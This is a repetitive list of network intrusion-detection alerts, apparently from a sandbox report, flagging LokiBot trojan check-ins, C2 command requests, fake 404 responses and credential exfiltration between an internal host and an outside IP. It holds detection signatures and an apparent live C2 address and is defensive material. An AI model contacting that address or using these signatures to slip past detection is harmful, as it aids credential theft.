ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497702025483 01/05/23-08:52:31.194343
SID:	2025483
Source Port:	80
Destination Port:	49770
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749992802825766 01/05/23-08:53:37.885447
SID:	2825766
Source Port:	49992
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750014802024318 01/05/23-08:53:43.719267
SID:	2024318
Source Port:	50014
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749837802024313 01/05/23-08:52:51.988001
SID:	2024313
Source Port:	49837
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749738802024318 01/05/23-08:52:22.066688
SID:	2024318
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500752025483 01/05/23-08:54:01.598104
SID:	2025483
Source Port:	80
Destination Port:	50075
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497812025483 01/05/23-08:52:35.903217
SID:	2025483
Source Port:	80
Destination Port:	49781
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749719802024318 01/05/23-08:52:15.841614
SID:	2024318
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497022025483 01/05/23-08:52:08.238277
SID:	2025483
Source Port:	80
Destination Port:	49702
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749719802024313 01/05/23-08:52:15.841614
SID:	2024313
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749992802021641 01/05/23-08:53:37.885447
SID:	2021641
Source Port:	49992
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749840802825766 01/05/23-08:52:53.465268
SID:	2825766
Source Port:	49840
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749936802021641 01/05/23-08:53:20.832811
SID:	2021641
Source Port:	49936
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499752025483 01/05/23-08:53:33.447961
SID:	2025483
Source Port:	80
Destination Port:	49975
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749751802825766 01/05/23-08:52:25.762510
SID:	2825766
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749795802024318 01/05/23-08:52:39.717554
SID:	2024318
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749847802021641 01/05/23-08:52:55.372015
SID:	2021641
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749893802024318 01/05/23-08:53:07.754435
SID:	2024318
Source Port:	49893
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749945802021641 01/05/23-08:53:23.275014
SID:	2021641
Source Port:	49945
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500342025483 01/05/23-08:53:50.559615
SID:	2025483
Source Port:	80
Destination Port:	50034
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749795802024313 01/05/23-08:52:39.717554
SID:	2024313
Source Port:	49795
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749876802025381 01/05/23-08:53:03.175112
SID:	2025381
Source Port:	49876
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749893802024313 01/05/23-08:53:07.754435
SID:	2024313
Source Port:	49893
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499532025483 01/05/23-08:53:25.551278
SID:	2025483
Source Port:	80
Destination Port:	49953
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749968802825766 01/05/23-08:53:31.490288
SID:	2825766
Source Port:	49968
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749879802825766 01/05/23-08:53:03.965987
SID:	2825766
Source Port:	49879
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749884802024313 01/05/23-08:53:05.293982
SID:	2024313
Source Port:	49884
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749866802021641 01/05/23-08:53:00.520534
SID:	2021641
Source Port:	49866
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749884802024318 01/05/23-08:53:05.293982
SID:	2024318
Source Port:	49884
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749839802025381 01/05/23-08:52:53.202583
SID:	2025381
Source Port:	49839
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499312025483 01/05/23-08:53:19.563898
SID:	2025483
Source Port:	80
Destination Port:	49931
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749923802021641 01/05/23-08:53:17.329996
SID:	2021641
Source Port:	49923
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749895802025381 01/05/23-08:53:08.372653
SID:	2025381
Source Port:	49895
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750075802021641 01/05/23-08:54:01.517358
SID:	2021641
Source Port:	50075
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750075802825766 01/05/23-08:54:01.517358
SID:	2825766
Source Port:	50075
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500782025483 01/05/23-08:54:02.394122
SID:	2025483
Source Port:	80
Destination Port:	50078
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749700802024317 01/05/23-08:52:07.351938
SID:	2024317
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500562025483 01/05/23-08:53:56.550069
SID:	2025483
Source Port:	80
Destination Port:	50056
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749700802024312 01/05/23-08:52:07.351938
SID:	2024312
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750056802021641 01/05/23-08:53:56.463023
SID:	2021641
Source Port:	50056
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500672025483 01/05/23-08:53:59.459785
SID:	2025483
Source Port:	80
Destination Port:	50067
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749949802825766 01/05/23-08:53:24.361661
SID:	2825766
Source Port:	49949
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749824802024318 01/05/23-08:52:47.639113
SID:	2024318
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500452025483 01/05/23-08:53:53.560541
SID:	2025483
Source Port:	80
Destination Port:	50045
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749913802024318 01/05/23-08:53:14.593137
SID:	2024318
Source Port:	49913
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750033802024313 01/05/23-08:53:50.199257
SID:	2024313
Source Port:	50033
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749742802825766 01/05/23-08:52:23.189713
SID:	2825766
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749955802825766 01/05/23-08:53:25.989714
SID:	2825766
Source Port:	49955
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749962802025381 01/05/23-08:53:29.855666
SID:	2025381
Source Port:	49962
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749859802025381 01/05/23-08:52:58.622571
SID:	2025381
Source Port:	49859
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749861802024318 01/05/23-08:52:59.149010
SID:	2024318
Source Port:	49861
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749728802825766 01/05/23-08:52:19.268418
SID:	2825766
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749956802024318 01/05/23-08:53:26.250117
SID:	2024318
Source Port:	49956
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750039802021641 01/05/23-08:53:51.865723
SID:	2021641
Source Port:	50039
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750056802825766 01/05/23-08:53:56.463023
SID:	2825766
Source Port:	50056
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749913802024313 01/05/23-08:53:14.593137
SID:	2024313
Source Port:	49913
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497992025483 01/05/23-08:52:40.916842
SID:	2025483
Source Port:	80
Destination Port:	49799
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749942802025381 01/05/23-08:53:22.441601
SID:	2025381
Source Port:	49942
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499452025483 01/05/23-08:53:23.362979
SID:	2025483
Source Port:	80
Destination Port:	49945
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749827802021641 01/05/23-08:52:48.461129
SID:	2021641
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749861802024313 01/05/23-08:52:59.149010
SID:	2024313
Source Port:	49861
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749764802025381 01/05/23-08:52:29.472789
SID:	2025381
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750013802825766 01/05/23-08:53:43.455950
SID:	2825766
Source Port:	50013
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498962025483 01/05/23-08:53:08.839540
SID:	2025483
Source Port:	80
Destination Port:	49896
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749923802024318 01/05/23-08:53:17.329996
SID:	2024318
Source Port:	49923
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749946802024313 01/05/23-08:53:23.547730
SID:	2024313
Source Port:	49946
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749721802025381 01/05/23-08:52:17.231128
SID:	2025381
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749738802825766 01/05/23-08:52:22.066688
SID:	2825766
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750029802021641 01/05/23-08:53:49.112211
SID:	2021641
Source Port:	50029
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749946802024318 01/05/23-08:53:23.547730
SID:	2024318
Source Port:	49946
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749851802024313 01/05/23-08:52:56.435777
SID:	2024313
Source Port:	49851
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749837802021641 01/05/23-08:52:51.988001
SID:	2021641
Source Port:	49837
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498592025483 01/05/23-08:52:58.704392
SID:	2025483
Source Port:	80
Destination Port:	49859
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750003802025381 01/05/23-08:53:40.763519
SID:	2025381
Source Port:	50003
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750006802021641 01/05/23-08:53:41.552586
SID:	2021641
Source Port:	50006
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497222025483 01/05/23-08:52:17.587572
SID:	2025483
Source Port:	80
Destination Port:	49722
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749851802024318 01/05/23-08:52:56.435777
SID:	2024318
Source Port:	49851
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749916802825766 01/05/23-08:53:15.372296
SID:	2825766
Source Port:	49916
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749732802021641 01/05/23-08:52:20.401546
SID:	2021641
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749979802024313 01/05/23-08:53:34.430839
SID:	2024313
Source Port:	49979
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497112025483 01/05/23-08:52:12.140154
SID:	2025483
Source Port:	80
Destination Port:	49711
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498482025483 01/05/23-08:52:55.724943
SID:	2025483
Source Port:	80
Destination Port:	49848
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749992802024313 01/05/23-08:53:37.885447
SID:	2024313
Source Port:	49992
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500642025483 01/05/23-08:53:58.673182
SID:	2025483
Source Port:	80
Destination Port:	50064
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500532025483 01/05/23-08:53:55.718019
SID:	2025483
Source Port:	80
Destination Port:	50053
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749956802024313 01/05/23-08:53:26.250117
SID:	2024313
Source Port:	49956
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749850802021641 01/05/23-08:52:56.172529
SID:	2021641
Source Port:	49850
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749797802825766 01/05/23-08:52:40.255110
SID:	2825766
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749774802825766 01/05/23-08:52:32.369884
SID:	2825766
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749992802024318 01/05/23-08:53:37.885447
SID:	2024318
Source Port:	49992
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749936802024313 01/05/23-08:53:20.832811
SID:	2024313
Source Port:	49936
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750019802021641 01/05/23-08:53:45.311637
SID:	2021641
Source Port:	50019
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749933802024318 01/05/23-08:53:20.043516
SID:	2024318
Source Port:	49933
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749758802024313 01/05/23-08:52:27.765970
SID:	2024313
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750003802825766 01/05/23-08:53:40.763519
SID:	2825766
Source Port:	50003
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750053802024318 01/05/23-08:53:55.636070
SID:	2024318
Source Port:	50053
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749893802021641 01/05/23-08:53:07.754435
SID:	2021641
Source Port:	49893
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499562025483 01/05/23-08:53:26.337856
SID:	2025483
Source Port:	80
Destination Port:	49956
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749979802024318 01/05/23-08:53:34.430839
SID:	2024318
Source Port:	49979
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750053802024313 01/05/23-08:53:55.636070
SID:	2024313
Source Port:	50053
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

